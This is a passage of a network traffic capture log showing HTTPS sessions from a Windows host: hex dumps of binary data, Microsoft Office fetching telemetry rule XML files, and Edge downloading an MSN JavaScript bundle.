2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-23 08:16:54 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:54 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 3b3ce442-a01e-001e-3708-3d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081654Z-178bfbc474bmqmgjhC1NYCy16c00000004bg000000001gaz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:54 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081654Z-178bfbc474bbcwv4hC1NYCypys000000042g000000004v9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:54 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:54 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: c700c3f3-301e-0000-760a-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081654Z-178bfbc474bpnd5vhC1NYC4vr4000000044000000000b93b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:54 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:53 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:54 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081654Z-174c587ffdfn4nhwhC1TEB2nbc00000002n000000000m6p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:54 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49884	184.28.190.51	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:55 UTC	628	OUT	GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:56 UTC	1202	IN	HTTP/1.1 200 OK Content-Length: 99974 Content-Type: application/javascript Content-MD5: 2o3TH2IeNXyf9OP87xu6FA== Last-Modified: Fri, 15 Nov 2024 22:31:11 GMT ETag: 0x8DD05C53565F83D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 64e866d1-101e-0037-3246-3988b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 23 Nov 2024 08:16:56 GMT Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=184.28.190.46,b=182252063,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=13, origin; dur=0, cdntime; dur=13, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 184.28.190.46 Akamai-Request-ID: adcf21f Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.2ebe1cb8.1732349815.adcf21f Vary: Origin
2024-11-23 08:16:56 UTC	15182	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 37 65 32 37 63 63 61 36 30 32 37 62 38 64 36 36 39 37 63 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 30 3a 66 75 6e 63 74 69 6f 6e Data Ascii: /! For license information please see vendors.7e27cca6027b8d6697cb.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},13010:function
2024-11-23 08:16:56 UTC	16384	IN	Data Raw: 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 28 72 5b 31 5d 7c 7c 72 5b 32 5d 29 2e 6c 65 6e 67 74 68 29 7d 7d 28 67 2e 64 61 74 65 2c 75 29 3b 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 Data Ascii: "+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice((r[1]\|\|r[2]).length)}}(g.date,u);h=function(t,e
